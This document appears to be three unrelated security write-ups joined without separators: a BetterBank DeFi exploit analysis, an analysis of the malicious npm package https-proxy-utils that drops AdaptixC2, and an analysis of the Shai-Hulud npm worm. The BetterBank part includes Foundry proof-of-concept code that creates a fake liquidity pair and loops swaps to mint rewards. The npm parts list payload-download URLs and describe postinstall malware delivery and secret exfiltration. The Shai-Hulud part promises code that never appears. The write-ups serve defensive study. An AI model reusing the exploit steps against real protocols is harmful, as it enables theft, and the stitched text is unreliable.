Executive summary

From August 26 to 27, 2025, BetterBank, a decentralized finance (DeFi) protocol operating on the PulseChain network, fell victim to a sophisticated exploit involving liquidity manipulation and reward minting. The attack resulted in an initial loss of approximately $5 million in digital assets. Following on-chain negotiations, the attacker returned approximately $2.7 million in assets, mitigating the financial damage and leaving a net loss of around $1.4 million. The vulnerability stemmed from a fundamental flaw in the protocol’s bonus reward system, specifically in the swapExactTokensForFavorAndTrackBonus function. This function was designed to mint ESTEEM reward tokens whenever a swap resulted in FAVOR tokens, but critically, it lacked the necessary validation to ensure that the swap occurred within a legitimate, whitelisted liquidity pool.

A prior security audit by Zokyo had identified and flagged this precise vulnerability. However, due to a documented communication breakdown and the vulnerability’s perceived low severity, the finding was downgraded, and the BetterBank development team did not fully implement the recommended patch. This incident is a pivotal case study demonstrating how design-level oversights, compounded by organizational inaction in response to security warnings, can lead to severe financial consequences in the high-stakes realm of blockchain technology. The exploit underscores the importance of thorough security audits, clear communication of findings, and multilayered security protocols to protect against increasingly sophisticated attack vectors.

In this article, we will analyze the root cause, impact, and on-chain forensics of the helper contracts used in the attack.

Incident overview

Incident timeline

The BetterBank exploit was the culmination of a series of events that began well before the attack itself. In July 2025, approximately one month prior to the incident, the BetterBank protocol underwent a security audit conducted by the firm Zokyo. The audit report, which was made public after the exploit, explicitly identified a critical vulnerability related to the protocol’s bonus system. Titled “A Malicious User Can Trade Bogus Tokens To Qualify For Bonus Favor Through The UniswapWrapper,” the finding was a direct warning about the exploit vector that would later be used. However, based on the documented proof of concept (PoC), which used test Ether, the severity of the vulnerability was downgraded to “Informational” and marked as “Resolved” in the report. The BetterBank team did not fully implement the patched code snippet.

The attack occurred on August 26, 2025. In response, the BetterBank team drained all remaining FAVOR liquidity pools to protect the assets that had not yet been siphoned. The team also took the proactive step of announcing a 20% bounty for the attacker and attempted to negotiate the return of funds.

Remarkably, these efforts were successful. On August 27, 2025, the attacker returned a significant portion of the stolen assets – 550 million DAI tokens. This partial recovery is not a common outcome in DeFi exploits.

Financial impact

This incident had a significant financial impact on the BetterBank protocol and its users. Approximately $5 million worth of assets was initially drained. The attack specifically targeted liquidity pools, allowing the perpetrator to siphon off a mix of stablecoins and native PulseChain assets. The drained assets included 891 million DAI tokens, 9.05 billion PLSX tokens, and 7.40 billion WPLS tokens.

In a positive turn of events, the attacker returned approximately $2.7 million in assets, specifically 550 million DAI. These funds represented a significant portion of the initial losses, resulting in a final net loss of around $1.4 million. This figure speaks to the severity of the initial exploit and the effectiveness of the team’s recovery efforts. While data from various sources show minor fluctuations in reported values due to real-time token price volatility, they consistently point to these key figures.

A detailed breakdown of the losses and recovery is provided in the following table:

Financial Metric	Value	Details
Initial Total Loss	~$5,000,000	The total value of assets drained during the exploit.
Assets Drained	891M DAI, 9.05B PLSX, 7.40B WPLS	The specific tokens and quantities siphoned from the protocol’s liquidity pools.
Assets Returned	~$2,700,000 (550M DAI)	The value of assets returned by the attacker following on-chain negotiations.
Net Loss	~$1,400,000	The final, unrecovered financial loss to the protocol and its users.

Protocol description and vulnerability analysis

The BetterBank protocol is a decentralized lending platform on the PulseChain network. It incorporates a two-token system that incentivizes liquidity provision and engagement. The primary token is FAVOR, while the second, ESTEEM, acts as a bonus reward token. The protocol’s core mechanism for rewarding users was tied to providing liquidity for FAVOR on decentralized exchanges (DEXs). Specifically, a function was designed to mint and distribute ESTEEM tokens whenever a trade resulted in FAVOR as the output token. While seemingly straightforward, this incentive system contained a critical design flaw that an attacker would later exploit.

The vulnerability was not a mere coding bug, but a fundamental architectural misstep. By tying rewards to a generic, unvalidated condition – the appearance of FAVOR in a swap’s output – the protocol created an exploitable surface. Essentially, this design choice trusted all external trading environments equally and failed to anticipate that a malicious actor could replicate a trusted environment for their own purposes. This is a common failure in tokenomics, where the focus on incentivization overlooks the necessary security and validation mechanisms that should accompany the design of such features.

The technical root cause of the vulnerability was a fundamental logic flaw in one of BetterBank’s smart contracts. The vulnerability was centered on the swapExactTokensForFavorAndTrackBonus function. The purpose of this function was to track swaps and mint ESTEEM bonuses. However, its core logic was incomplete: it only verified that FAVOR was the output token from the swap and failed to validate the source of the swap itself. The contract did not check whether the transaction originated from a legitimate, whitelisted liquidity pool or a registered contract. This lack of validation created a loophole that allowed an attacker to trigger the bonus system at will by creating a fake trading environment.

This primary vulnerability was compounded by a secondary flaw in the protocol’s tokenomics: the flawed design of convertible rewards.

The ESTEEM tokens, minted as a bonus, could be converted back into FAVOR tokens. This created a self-sustaining feedback loop. An attacker could trigger the swapExactTokensForFavorAndTrackBonus function to mint ESTEEM, and then use those newly minted tokens to obtain more FAVOR. The FAVOR could then be used in subsequent swaps to mint even more ESTEEM rewards. This cyclical process enabled the attacker to generate an unlimited supply of tokens and drain the protocol’s real reserves. The synergistic combination of logic and design flaws created a high-impact attack vector that was difficult to contain once initiated.

To sum it up, the BetterBank exploit was the result of a critical vulnerability in the bonus minting system that allowed attackers to create fake liquidity pairs and harvest an unlimited amount of ESTEEM token rewards. As mentioned above, the system couldn’t distinguish between legitimate and malicious liquidity pairs, creating an opportunity for attackers to generate illegitimate token pairs. The BetterBank system included protection measures against attacks capable of inflicting substantial financial damage – namely a sell tax. However, the threat actors were able to bypass this tax mechanism, which exacerbated the impact of the attack.

Exploit breakdown

The exploit targeted the bonus minting system of the favorPLS.sol contract, specifically the logBuy() function and related tax logic. The key vulnerable components are:

1. File: favorPLS.sol
2. Vulnerable function: logBuy(address user, uint256 amount)
3. Supporting function: calculateFavorBonuses(uint256 amount)
4. Tax logic: _transfer() function

The logBuy function only checks if the caller is an approved buy wrapper; it doesn’t validate the legitimacy of the trading pair or liquidity source.

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");

    (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
    pendingBonus[user] += userBonus;

    esteem.mint(treasury, treasuryBonus);
    emit EsteemBonusLogged(user, userBonus, treasuryBonus);

The tax only applies to transfers to legitimate, whitelisted addresses that are marked as isMarketPair[recipient]. By definition, fake, unauthorized LPs are not included in this mapping, so they bypass the maximum 50% sell tax imposed by protocol owners.

function _transfer(address sender, address recipient, uint256 amount) internal override {
    uint256 taxAmount = 0;

    if (_isTaxExempt(sender, recipient)) {
        super._transfer(sender, recipient, amount);
        return;
    }

    // Transfer to Market Pair is likely a sell to be taxed
    if (isMarketPair[recipient]) {
        taxAmount = (amount * sellTax) / MULTIPLIER;
    }

    if (taxAmount > 0) {
        super._transfer(sender, treasury, taxAmount);
        amount -= taxAmount;
    }

    super._transfer(sender, recipient, amount);
}

The uniswapWraper.sol contract contains the buy wrapper functions that call logBuy(). The system only checks if the pair is in allowedDirectPair mapping, but this can be manipulated by creating fake tokens and adding them to the mapping to get them approved.

function swapExactTokensForFavorAndTrackBonus(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
) external {
    address finalToken = path[path.length - 1];
    require(isFavorToken[finalToken], "Path must end in registered FAVOR");
    require(allowedDirectPair[path[0]][finalToken], "Pair not allowed");
    require(path.length == 2, "Path must be direct");

    // ... swap logic ...

    uint256 twap = minterOracle.getTokenTWAP(finalToken);
    if(twap < 3e18){
        IFavorToken(finalToken).logBuy(to, favorReceived);
    }
}

Step-by-step attack reconstruction

The attack on BetterBank was not a single transaction, but rather a carefully orchestrated sequence of on-chain actions. The exploit began with the attacker acquiring the necessary capital through a flash loan. Flash loans are a feature of many DeFi protocols that allow a user to borrow large sums of assets without collateral, provided the loan is repaid within the same atomic transaction. The attacker used the loan to obtain a significant amount of assets, which were then used to manipulate the protocol’s liquidity pools.

The attacker used the flash loan funds to target and drain the real DAI-PDAIF liquidity pool, a core part of the BetterBank protocol. This initial step was crucial because it weakened the protocol’s defenses and provided the attacker with a large volume of PDAIF tokens, which were central to the reward-minting scheme.

After draining the real liquidity pool, the attacker moved to the next phase of the operation. They deployed a new, custom, and worthless ERC-20 token. Exploiting the permissionless nature of PulseX, the attacker then created a fake liquidity pool, pairing their newly created bogus token with PDAIF.

This fake pool was key to the entire exploit. It enabled the attacker to control both sides of a trading pair and manipulate the price and liquidity to their advantage without affecting the broader market.

One critical element that made this attack profitable was the protocol’s tax logic. BetterBank had implemented a system that levied high fees on bulk swaps to deter this type of high-volume trading. However, the tax only applied to “official” or whitelisted liquidity pairs. Since the attacker’s newly created pool was not on this list, they were able to conduct their trades without incurring any fees. This critical loophole ensured the attack’s profitability.

After establishing the bogus token and fake liquidity pool, the attacker initiated the final and most devastating phase of the exploit: the reward minting loop. They executed a series of rapid swaps between their worthless token and PDAIF within their custom-created pool. Each swap triggered the vulnerable swapExactTokensForFavorAndTrackBonus function in the BetterBank contract. Because the function did not validate the pool, it minted a substantial bonus of ESTEEM tokens with each swap, despite the illegitimacy of the trading pair.

Each swap triggers:

• swapExactTokensForFavorAndTrackBonus()
• logBuy() function call
• calculateFavorBonuses() execution
• ESTEEM token minting (44% bonus)
• fake LP sell tax bypass

The newly minted ESTEEM tokens were then converted back into FAVOR tokens, which could be used to facilitate more swaps. This created a recursive loop that allowed the attacker to generate an immense artificial supply of rewards and drain the protocol’s real asset reserves. Using this method, the attacker extracted approximately 891 million DAI, 9.05 billion PLSX, and 7.40 billion WPLS, effectively destabilizing the entire protocol. The success of this multi-layered attack demonstrates how a single fundamental logic flaw, combined with a series of smaller design failures, can lead to a catastrophic outcome.

Mitigation strategy

This attack could have been averted if a number of security measures had been implemented.

First, the liquidity pool should be verified during a swap. The LP pair and liquidity source must be valid.

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");
    
    //  ADD: LP pair validation
    require(isValidLPPair(msg.sender), "Invalid LP pair");
    require(hasMinimumLiquidity(msg.sender), "Insufficient liquidity");
    require(isVerifiedPair(msg.sender), "Unverified trading pair");
    
    //  ADD: Amount limits
    require(amount <= MAX_SWAP_AMOUNT, "Amount exceeds limit");
    
    (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
    pendingBonus[user] += userBonus;
    
    esteem.mint(treasury, treasuryBonus);
    emit EsteemBonusLogged(user, userBonus, treasuryBonus);
}

The sell tax should be applied to all transfers.

function _transfer(address sender, address recipient, uint256 amount) internal override {
    uint256 taxAmount = 0;
    
    if (_isTaxExempt(sender, recipient)) {
        super._transfer(sender, recipient, amount);
        return;
    }
    
    //  FIX: Apply tax to ALL transfers, not just market pairs
    if (isMarketPair[recipient] || isUnverifiedPair(recipient)) {
        taxAmount = (amount * sellTax) / MULTIPLIER;
    }
    
    if (taxAmount > 0) {
        super._transfer(sender, treasury, taxAmount);
        amount -= taxAmount;
    }
    
    super._transfer(sender, recipient, amount);
}

To prevent large-scale one-time attacks, a daily limit should be introduced to stop users from conducting transactions totaling more than 10,000 ESTEEM tokens per day.

mapping(address => uint256) public lastBonusClaim;
mapping(address => uint256) public dailyBonusLimit;
uint256 public constant MAX_DAILY_BONUS = 10000 * 1e18; // 10K ESTEEM per day

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");
    
    //  ADD: Rate limiting
    require(block.timestamp - lastBonusClaim[user] > 1 hours, "Rate limited");
    require(dailyBonusLimit[user] < MAX_DAILY_BONUS, "Daily limit exceeded");
    
    // Update rate limiting
    lastBonusClaim[user] = block.timestamp;
    dailyBonusLimit[user] += calculatedBonus;
    
    // ... rest of function
}

On-chain forensics and fund tracing

The on-chain trail left by the attacker provides a clear forensic record of the exploit. After draining the assets on PulseChain, the attacker swapped the stolen DAI, PLSX, and WPLS for more liquid, cross-chain assets. The perpetrator then bridged approximately $922,000 worth of ETH from the PulseChain network to the Ethereum mainnet. This was done using a secondary attacker address beginning with 0xf3BA…, which was likely created to hinder exposure of the primary exploitation address. The final step in the money laundering process was the use of a crypto mixer, such as Tornado Cash, to obscure the origin of the funds and make them untraceable.

Tracing the flow of these funds was challenging because many public-facing block explorers for the PulseChain network were either inaccessible or lacked comprehensive data at the time of the incident. This highlights the practical difficulties associated with on-chain forensics, where the lack of a reliable, up-to-date block explorer can greatly hinder analysis. In these scenarios, it becomes critical to use open-source explorers like Blockscout, which are more resilient and transparent.

The following table provides a clear reference for the key on-chain entities involved in the attack:

On-Chain Entity	Address	Description
Primary Attacker EOA	0x48c9f537f3f1a2c95c46891332E05dA0D268869B	The main externally owned account used to initiate the attack.
Secondary Attacker EOA	0xf3BA0D57129Efd8111E14e78c674c7c10254acAE	The address used to bridge assets to the Ethereum network.
Attacker Helper Contracts	0x792CDc4adcF6b33880865a200319ecbc496e98f8, etc.	A list of contracts deployed by the attacker to facilitate the exploit.
PulseXRouter02	0x165C3410fC91EF562C50559f7d2289fEbed552d9	The PulseX decentralized exchange router contract used in the exploit.

We managed to get hold of the attacker’s helper contracts to deepen our investigation. Through comprehensive bytecode analysis and contract decompilation, we determined that the attack architecture was multilayered. The attack utilized a factory contract pattern (0x792CDc4adcF6b33880865a200319ecbc496e98f8) that contained 18,219 bytes of embedded bytecode that were dynamically deployed during execution. The embedded contract revealed three critical functions: two simple functions (0x51cff8d9 and 0x529d699e) for initialization and cleanup, and a highly complex flash loan callback function (0x920f5c84) with the signature executeOperation(address[],uint256[],uint256[],address,bytes), which matches standard DeFi flash loan protocols like Aave and dYdX. Analysis of the decompiled code revealed that the executeOperation function implements sophisticated parameter parsing for flash loan callbacks, dynamic contract deployment capabilities, and complex external contract interactions with the PulseX Router (0x165c3410fc91ef562c50559f7d2289febed552d9).

contract BetterBankExploitContract {
    
    function main() external {
        // Initialize memory
        assembly {
            mstore(0x40, 0x80)
        }
        
        // Revert if ETH is sent
        if (msg.value > 0) {
            revert();
        }
        
        // Check minimum calldata length
        if (msg.data.length < 4) {
            revert();
        }
        
        // Extract function selector
        uint256 selector = uint256(msg.data[0:4]) >> 224;
        
        // Dispatch to appropriate function
        if (selector == 0x51cff8d9) {
            // Function: withdraw(address)
            withdraw();
        } else if (selector == 0x529d699e) {
            // Function: likely exploit execution
            executeExploit();
        } else if (selector == 0x920f5c84) {
            // Function:  executeOperation(address[],uint256[],uint256[],address,bytes)
            // This is a flash loan callback function!
            executeOperation();
        } else {
            revert();
        }
    }
    
    // Function 0x51cff8d9 - Withdraw function
    function withdraw() internal {
        // Implementation would be in the bytecode
        // Likely withdraws profits to attacker address
    }
    
    // Function 0x529d699e - Main exploit function
    function executeExploit() internal {
        // Implementation would be in the bytecode
        // Contains the actual BetterBank exploit logic
    }
    
    // Function 0x920f5c84 - Flash loan callback
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) internal {
        // This is the flash loan callback function
        // Contains the exploit logic that runs during flash loan
    }
}

The attack exploited three critical vulnerabilities in BetterBank’s protocol: unvalidated reward minting in the logBuy function that failed to verify legitimate trading pairs; a tax bypass mechanism in the _transfer function that only applied the 50% sell tax to addresses marked as market pairs; and oracle manipulation through fake trading volume. The attacker requested flash loans of 50M DAI and 7.14B PLP tokens, drained real DAI-PDAIF pools, and created fake PDAIF pools with minimal liquidity. They performed approximately 20 iterations of fake trading to trigger massive ESTEEM reward minting, converting the rewards into additional PDAIF tokens, before re-adding liquidity with intentional imbalances and extracting profits of approximately 891M DAI through arbitrage.

PoC snippets

To illustrate the vulnerabilities that made such an attack possible, we examined code snippets from Zokyo researchers.

First, a fake liquidity pool pair is created with FAVOR and a fake token is generated by the attacker. By extension, the liquidity pool pairs with this token were also unsubstantiated.

function _createFakeLPPair() internal {
        console.log("--- Step 1: Creating Fake LP Pair ---");
        
        vm.startPrank(attacker);
        
        // Create the pair
        fakePair = factory.createPair(address(favorToken), address(fakeToken));
        console.log("Fake pair created at:", fakePair);
        
        // Add initial liquidity to make it "legitimate"
        uint256 favorAmount = 1000 * 1e18;
        uint256 fakeAmount = 1000000 * 1e18;
        
        // Transfer FAVOR to attacker
        vm.stopPrank();
        vm.prank(admin);
        favorToken.transfer(attacker, favorAmount);
        
        vm.startPrank(attacker);
        
        // Approve router
        favorToken.approve(address(router), favorAmount);
        fakeToken.approve(address(router), fakeAmount);
        
        // Add liquidity
        router.addLiquidity(
            address(favorToken),
            address(fakeToken),
            favorAmount,
            fakeAmount,
            0,
            0,
            attacker,
            block.timestamp + 300
        );
        
        console.log("Liquidity added to fake pair");
        console.log("FAVOR in pair:", favorToken.balanceOf(fakePair));
        console.log("FAKE in pair:", fakeToken.balanceOf(fakePair));
        
        vm.stopPrank();
    }

Next, the fake LP pair is approved in the allowedDirectPair mapping, allowing it to pass the system check and perform the bulk swap transactions.

function _approveFakePair() internal {
        console.log("--- Step 2: Approving Fake Pair ---");
        
        vm.prank(admin);
        routerWrapper.setAllowedDirectPair(address(fakeToken), address(favorToken), true);
        
        console.log("Fake pair approved in allowedDirectPair mapping");
    }

These steps enable exploit execution, completing FAVOR swaps and collecting ESTEEM bonuses.

function _executeExploit() internal {
        console.log("--- Step 3: Executing Exploit ---");
        
        vm.startPrank(attacker);
        
        uint256 exploitAmount = 100 * 1e18; // 100 FAVOR per swap
        uint256 iterations = 10; // 10 swaps
        
        console.log("Performing %d exploit swaps of %d FAVOR each", iterations, exploitAmount / 1e18);
        
        for (uint i = 0; i < iterations; i++) {
            _performExploitSwap(exploitAmount);
            console.log("Swap %d completed", i + 1);
        }
        
        // Claim accumulated bonuses
        console.log("Claiming accumulated ESTEEM bonuses...");
        favorToken.claimBonus();
        
        vm.stopPrank();
    }

We also performed a single swap in a local environment to demonstrate the design flaw that allowed the attackers to perform transactions over and over again.

function _performExploitSwap(uint256 amount) internal {
        // Create swap path: FAVOR -> FAKE -> FAVOR
        address[] memory path = new address[](2);
        path[0] = address(favorToken);
        path[1] = address(fakeToken);
        
        // Approve router
        favorToken.approve(address(router), amount);
        
        // Perform swap - this triggers logBuy() and mints ESTEEM
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amount,
            0, // Accept any amount out
            path,
            attacker,
            block.timestamp + 300
        );
    }

Finally, several checks are performed to verify the exploit’s success.

function _verifyExploitSuccess() internal {        
        uint256 finalFavorBalance = favorToken.balanceOf(attacker);
        uint256 finalEsteemBalance = esteemToken.balanceOf(attacker);
        uint256 esteemMinted = esteemToken.totalSupply() - initialEsteemBalance;
        
        console.log("Attacker's final FAVOR balance:", finalFavorBalance / 1e18);
        console.log("Attacker's final ESTEEM balance:", finalEsteemBalance / 1e18);
        console.log("Total ESTEEM minted during exploit:", esteemMinted / 1e18);
        
        // Verify the attack was successful
        assertGt(finalEsteemBalance, 0, "Attacker should have ESTEEM tokens");
        assertGt(esteemMinted, 0, "ESTEEM tokens should have been minted");
        
        console.log("EXPLOIT SUCCESSFUL!");
        console.log("Attacker gained ESTEEM tokens without legitimate trading activity");
    }

Conclusion

The BetterBank exploit was a multifaceted attack that combined technical precision with detailed knowledge of the protocol’s design flaws. The root cause was a lack of validation in the reward-minting logic, which enabled an attacker to generate unlimited value from a counterfeit liquidity pool. This technical failure was compounded by an organizational breakdown whereby a critical vulnerability explicitly identified in a security audit was downgraded in severity and left unpatched.

The incident serves as a powerful case study for developers, auditors, and investors. It demonstrates that ensuring the security of a decentralized protocol is a shared, ongoing responsibility. The vulnerability was not merely a coding error, but rather a design flaw that created an exploitable surface. The confusion and crisis communications that followed the exploit are a stark reminder of the consequences when communication breaks down between security professionals and protocol teams. While the return of a portion of the funds is a positive outcome, it does not overshadow the core lesson: in the world of decentralized finance, every line of code matters, every audit finding must be taken seriously, and every protocol must adopt a proactive, multilayered defense posture to safeguard against the persistent and evolving threats of the digital frontier.

Incident description

The first version of the AdaptixC2 post-exploitation framework, which can be considered an alternative to the well-known Cobalt Strike, was made publicly available in early 2025. In spring of 2025, the framework was first observed being used for malicious means.

In October 2025, Kaspersky experts found that the npm ecosystem contained a malicious package with a fairly convincing name: https-proxy-utils. It was posing as a utility for using proxies within projects. At the time of this post, the package had already been taken down.

The name of the package closely resembles popular legitimate packages: http-proxy-agent, which has approximately 70 million weekly downloads, and https-proxy-agent with 90 million downloads respectively. Furthermore, the advertised proxy-related functionality was cloned from another popular legitimate package proxy-from-env, which boasts 50 million weekly downloads. However, the threat actor injected a post-install script into https-proxy-utils, which downloads and executes a payload containing the AdaptixC2 agent.

OS-specific adaptation

The script includes various payload delivery methods for different operating systems. The package includes loading mechanisms for Windows, Linux, and macOS. In each OS, it uses specific techniques involving system or user directories to load and launch the implant.

In Windows, the AdaptixC2 agent is dropped as a DLL file into the system directory C:\Windows\Tasks. It is then executed via DLL sideloading. The JS script copies the legitimate msdtc.exe file to the same directory and executes it, thus loading the malicious DLL.

In macOS, the script downloads the payload as an executable file into the user’s autorun directory: Library/LaunchAgents. The postinstall.js script also drops a plist autorun configuration file into this directory. Before downloading AdaptixC2, the script checks the target architecture (x64 or ARM) and fetches the appropriate payload variant.

In Linux, the framework’s agent is downloaded into the temporary directory /tmp/.fonts-unix. The script delivers a binary file tailored to the specific architecture (x64 or ARM) and then assigns it execute permissions.

Once the AdaptixC2 framework agent is deployed on the victim’s device, the attacker gains capabilities for remote access, command execution, file and process management, and various methods for achieving persistence. This both allows the attacker to maintain consistent access and enables them to conduct network reconnaissance and deploy subsequent stages of the attack.

Conclusion

This is not the first attack targeting the npm registry in recent memory. A month ago, similar infection methods utilizing a post-install script were employed in the high-profile incident involving the Shai-Hulud worm, which infected more than 500 packages. The AdaptixC2 incident clearly demonstrates the growing trend of abusing open-source software ecosystems, like npm, as an attack vector. Threat actors are increasingly exploiting the trusted open-source supply chain to distribute post-exploitation framework agents and other forms of malware. Users and organizations involved in development or using open-source software from ecosystems like npm in their products are susceptible to this threat type.

To stay safe, be vigilant when installing open-source modules: verify the exact name of the package you are downloading, and more thoroughly vet unpopular and new repositories. When using popular modules, it is critical to monitor frequently updated feeds on compromised packages and libraries.

Indicators of compromise

Package name
https-proxy-utils

Hashes
DFBC0606E16A89D980C9B674385B448E – package hash
B8E27A88730B124868C1390F3BC42709
669BDBEF9E92C3526302CA37DC48D21F
EDAC632C9B9FF2A2DA0EACAAB63627F4
764C9E6B6F38DF11DC752CB071AE26F9
04931B7DFD123E6026B460D87D842897

Network indicators
cloudcenter[.]top/sys/update
cloudcenter[.]top/macos_update_arm
cloudcenter[.]top/macos_update_x64
cloudcenter[.]top/macosUpdate[.]plist
cloudcenter[.]top/linux_update_x64
cloudcenter[.]top/linux_update_arm

Introduction

The modern development world is almost entirely dependent on third-party modules. While this certainly speeds up development, it also creates a massive attack surface for end users, since anyone can create these components. It is no surprise that malicious modules are becoming more common. When a single maintainer account for popular modules or a single popular dependency is compromised, it can quickly turn into a supply chain attack. Such compromises are now a frequent attack vector trending among threat actors. In the last month alone, there have been two major incidents that confirm this interest in creating malicious modules, dependencies, and packages. We have already discussed the recent compromise of popular npm packages. September 16, 2025 saw reports of a new wave of npm package infections, caused by the self-propagating malware known as Shai-Hulud.

Shai-Hulud is designed to steal sensitive data, expose private repositories of organizations, and hijack victim credentials to infect other packages and spread on. Over 500 packages were infected in this incident, including one with more than two million weekly downloads. As a result, developers who integrated these malicious packages into their projects risk losing sensitive data, and their own libraries could become infected with Shai-Hulud. This self-propagating malware takes over accounts and steals secrets to create new infected modules, spreading the threat along the dependency chain.

Technical details

The worm’s malicious code executes when an infected package is installed. It then publishes infected releases to all packages the victim has update permissions for.

Once the infected package is installed from the npm registry on the victim’s system, a special command is automatically executed. This command launches a malicious script over 3 MB in size named bundle.js, which contains several legitimate, open-source work modules.

Key modules within bundle.js include:

• Library for interacting with AWS cloud services
• GCP module that retrieves metadata from the Google Cloud Platform environment
• Functions for TruffleHog, a tool for scanning various data sources to find sensitive information, specifically secrets
• Tool for interacting with the GitHub API

The JavaScript file also contains network utilities for data transfer and the main operational module, Shai-Hulud.

The worm begins its malicious activity by collecting information about the victim’s operating system and checking for an npm token and authenticated GitHub user token in the environment. If a valid GitHub token is not present, bundle.js will terminate. A distinctive feature of Shai-Hulud is that most of its functionality is geared toward Linux and macOS systems: almost all malicious actions are performed exclusively on these systems, with the exception of using TruffleHog to find secrets.

Exfiltrating secrets

After passing the checks, the malware uses the token mentioned earlier to get information about the current GitHub user. It then runs the extraction function, which creates a temporary executable bash script at /tmp/processor.sh and runs it as a separate process, passing the token as an argument. Below is the extraction function, with strings and variable names modified for readability since the original source code was illegible.

The bash script is designed to communicate with the GitHub API and collect secrets from the victim’s repository in an unconventional way. First, the script checks if the token has the necessary permissions to create branches and work with GitHub Actions. If it does, the script gets a list of all the repositories the user can access from 2025. In each of these, it creates a new branch named shai-hulud and uploads a shai-hulud-workflow.yml workflow, which is a configuration file for describing GitHub Actions workflows. These files are automation scripts that are triggered in GitHub Actions whenever changes are made to a repository. The Shai-Hulud workflow activates on every push.

This file collects secrets from the victim’s repositories and forwards them to the attackers’ server. Before being sent, the confidential data is encoded twice with Base64.

This unusual method for data collection is designed for a one-time extraction of secrets from a user’s repositories. However, it poses a threat not only to Shai-Hulud victims but also to ordinary researchers. If you search for “shai-hulud” on GitHub, you will find numerous repositories that have been compromised by the worm.

The main bundle.js script then requests a list of all organizations associated with the victim and runs the migration function for each one. This function also runs a bash script, but in this case, it saves it to /tmp/migrate-repos.sh, passing the organization name, username, and token as parameters for further malicious activity.

The bash script automates the migration of all private and internal repositories from the specified GitHub organization to the user’s account, making them public. The script also uses the GitHub API to copy the contents of the private repositories as mirrors.

We believe these actions are intended for the automated theft of source code from the private repositories of popular communities and organizations. For example, the well-known company CrowdStrike was caught in this wave of infections.

The worm’s self-replication

After running operations on the victim’s GitHub, the main bundle.js script moves on to its next crucial stage: self-replication. First, the script gets a list of the victim’s 20 most downloaded packages. To do this, it performs a search query with the username from the previously obtained npm token:

https://registry.npmjs.org/-/v1/search?text=maintainer:{%user_details%}&size=20

Next, for each of the packages it finds, it calls the updatePackage function. This function first attempts to download the tarball version of the package (a .TAR archive). If it exists, a temporary directory named npm-update-{target_package_name} is created. The tarball version of the package is saved there as package.tgz, then unpacked and modified as follows:

• The malicious bundle.js is added to the original package.
• A postinstall command is added to the package.json file (which is used in Node.js projects to manage dependencies and project metadata). This command is configured to execute the malicious script via node bundle.js.
• The package version number is incremented by 1.

The modified package is then re-packed and published to npm as a new version with the npm publish command. After this, the temporary directory for the package is cleared.

Uploading secrets to GitHub

Next, the worm uses the previously mentioned TruffleHog utility to harvest secrets from the target system. It downloads the latest version of the utility from the original repository for the specific operating system type using the following link:

https://github.com/trufflesecurity/trufflehog/releases/download/{utility version}/{OS-specific file}

The worm also uses modules for AWS and Google Cloud Platform (GCP) to scan for secrets. The script then aggregates the collected data into a single object and creates a repository named “Shai-Hulud” in the victim’s profile. It then uploads the collected information to this repository as a data.json file.

Below is a list of data formats collected from the victim’s system and uploaded to GitHub:

{
 "application": {
  "name": "",
  "version": "",
  "description": ""
 },
 "system": {
  "platform": "",
  "architecture": "",
  "platformDetailed": "",
  "architectureDetailed": ""
 },
 "runtime": {
  "nodeVersion": "",
  "platform": "",
  "architecture": "",
  "timestamp": ""
 },
 "environment": {
 },
 "modules": {
  "github": {
   "authenticated": false,
   "token": "",
   "username": {}
  },
  "aws": {
   "secrets": []
  },
  "gcp": {
   "secrets": []
  },
  "truffleHog": {
   "available": false,
   "installed": false,
   "version": "",
   "platform": "",
   "results": [
    {}
   ]
  },
  "npm": {
   "token": "",
   "authenticated": true,
   "username": ""
  }
 }
}

Infection characteristics

A distinctive characteristic of the modified packages is that they contain an archive named package.tar. This is worth noting because packages usually contain an archive with a name that matches the package itself.

Through our research, we were able to identify the first package from which Shai-Hulud began to spread, thanks to a key difference. As we mentioned earlier, after infection, a postinstall command to execute the malicious script, node bundle.js, is written to the package.json file. This command typically runs immediately after installation. However, we discovered that one of the infected packages listed the same command as a preinstall command, meaning it ran before the installation. This package was ngx-bootstrap version 18.1.4. We believe this was the starting point for the spread of this infection. This hypothesis is further supported by the fact that the archive name in the first infected version of this package differed from the name characteristic of later infected packages (package.tar).

While investigating different packages, we noticed that in some cases, a single package contained multiple versions with malicious code. This was likely possible because the infection spread to all maintainers and contributors of packages, and the malicious code was then introduced from each of their accounts.

Infected libraries and CrowdStrike

The rapidly spreading Shai-Hulud worm has infected many popular libraries that organizations and developers use daily. Shai-Hulud has infected over 500 popular packages in recent days, including libraries from the well-known company CrowdStrike.
Among the infected libraries were the following:

• @crowdstrike/commitlint versions 8.1.1, 8.1.2
• @crowdstrike/falcon-shoelace versions 0.4.1, 0.4.2
• @crowdstrike/foundry-js versions 0.19.1, 0.19.2
• @crowdstrike/glide-core versions 0.34.2, 0.34.3
• @crowdstrike/logscale-dashboard versions 1.205.1, 1.205.2
• @crowdstrike/logscale-file-editor versions 1.205.1, 1.205.2
• @crowdstrike/logscale-parser-edit versions 1.205.1, 1.205.2
• @crowdstrike/logscale-search versions 1.205.1, 1.205.2
• @crowdstrike/tailwind-toucan-base versions 5.0.1, 5.0.2

But the event that has drawn significant attention to this spreading threat was the infection of the @ctrl/tinycolor library, which is downloaded by over two million users every week.

As mentioned above, the malicious script exposes an organization’s private repositories, posing a serious threat to their owners, as this creates a risk of exposing the source code of their libraries and products, among other things, and leading to an even greater loss of data.

Prevention and protection

To protect against this type of infection, we recommend using a specialized solution for monitoring open-source components. Kaspersky maintains a continuous feed of compromised packages and libraries, which can be used to secure your supply chain and protect development from similar threats.

For personal devices, we recommend Kaspersky Premium, which provides multi-layered protection to prevent and neutralize infection threats. Our solution can also restore the device’s functionality if it’s infected with malware.

For corporate devices, we advise implementing a comprehensive solution like Kaspersky Next, which allows you to build a flexible and effective security system. This product line provides threat visibility and real-time protection, as well as EDR and XDR capabilities for investigation and response. It is suitable for organizations of any scale or industry.

Kaspersky products detect the Shai-Hulud threat as HEUR:Worm.Script.Shulud.gen.

